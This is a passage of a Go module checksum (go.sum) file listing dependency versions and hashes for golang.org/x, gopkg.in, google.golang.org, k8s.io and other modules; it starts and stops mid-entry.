h1:E5x2acfUD7GkzCf8bmIMwnV10VxDy5tUCHc5LGhluwc=\ngithub.com/yookoala/gofast v0.6.0/go.mod h1:OJU201Q6HCaE1cASckaTbMm3KB6e0cZxK0mgqfwOKvQ=\ngithub.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e h1:oIpIX9VKxSCFrfjsKpluGbNPBGq9iNnT9crH781j9wY=\ngithub.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e/go.mod h1:gqRgreBUhTSL0GeU64rtZ3Uq3wtjOa/TB2YfrtkCbVQ=\ngo.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=\ngo.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.opentelemetry.io/otel v0.13.0 h1:2isEnyzjjJZq6r2EKMsFj4TxiQiexsM04AVhwbR/oBA=\ngo.opentelemetry.io/otel v0.13.0/go.mod h1:dlSNewoRYikTkotEnxdmuBHgzT+k/idJSfDv/FxEnOY=\ngo.uber.org/atomic v1.4.0 h1:cxzIVoETapQEqDhQu3QfnvXAV4AlzcvUCxkVUFw3+EU=\ngo.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=\ngolang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190312203227-4b39c73a6495/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=\ngolang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=\ngolang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=\ngolang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=\ngolang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/net v0.0.0-20170114055629-f2499483f923/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200528225125-3c3fba18258b/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20201006153459-a7d1128ccaa0/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d h1:BgJvlyh+UqCUaPlscHJ+PN8GcpfrFdr7NHjd1JL0+Gs=\ngolang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=\ngolang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=\ngolang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45 h1:SVwTIAaPC2U/AvvLNZ2a7OVsmBpC8L5BlwK1whH3hm0=\ngolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=\ngolang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190616124812-15dcb6c0061f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200519105757-fe76b779f299/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210415045647-66c3f260301c h1:6L+uOeS3OQt/f4eFHXZcTxeZrGCuz+CLElgEBjbcTA4=\ngolang.org/x/sys v0.0.0-20210415045647-66c3f260301c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20181011042414-1f849cf54d09/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=\ngolang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190920225731-5eefd052ad72/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20200908211811-12e1bf57a112/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE=\ngolang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=\ngolang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=\ngolang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngonum.org/v1/gonum v0.0.0-20190331200053-3d26580ed485/go.mod h1:2ltnJ7xHfj0zHS40VVPYEAAMTa3ZGguvHGBSJeRWqE0=\ngonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw=\ngonum.org/v1/netlib v0.0.0-20190331212654-76723241ea4e/go.mod h1:kS+toOQn6AQKjmKJ7gzohV1XkqsFehRA2FbsbkopSuQ=\ngoogle.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=\ngoogle.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=\ngoogle.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/appengine v1.5.0 h1:KxkO13IPW4Lslp2bz+KHP2E3gtFlrIGNThxkZQ3g+4c=\ngoogle.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=\ngoogle.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=\ngoogle.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=\ngoogle.golang.org/genproto v0.0.0-20190530194941-fb225487d101 h1:wuGevabY6r+ivPNagjUXGGxF+GqgMd+dBhjsxW4q9u4=\ngoogle.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=\ngoogle.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=\ngoogle.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=\ngoogle.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.22.0 h1:J0UbZOIrCAl+fpTOf8YLs4dJo8L/owV4LYVtAXQoPkw=\ngoogle.golang.org/grpc v1.22.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=\ngopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=\ngopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=\ngopkg.in/ini.v1 v1.38.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/square/go-jose.v2 v2.3.1 h1:SK5KegNXmKmqE342YYN2qPHEnUYeoMiXXl1poUlI+o4=\ngopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nk8s.io/api v0.17.6/go.mod h1:1jKVwkj0UZ4huak/yRt3MFfU5wc32+B41SkNN5HhyFg=\nk8s.io/api v0.18.6 h1:osqrAXbOQjkKIWDTjrqxWQ3w0GkKb1KA1XkUGHHYpeE=\nk8s.io/api v0.18.6/go.mod h1:eeyxr+cwCjMdLAmr2W3RyDI0VvTawSg/3RFFBEnmZGI=\nk8s.io/apimachinery v0.17.6/go.mod h1:Lg8zZ5iC/O8UjCqW6DNhcQG2m4TdjF9kwG3891OWbbA=\nk8s.io/apimachinery v0.18.6 h1:RtFHnfGNfd1N0LeSrKCUznz5xtUP1elRGvHJbL3Ntag=\nk8s.io/apimachinery 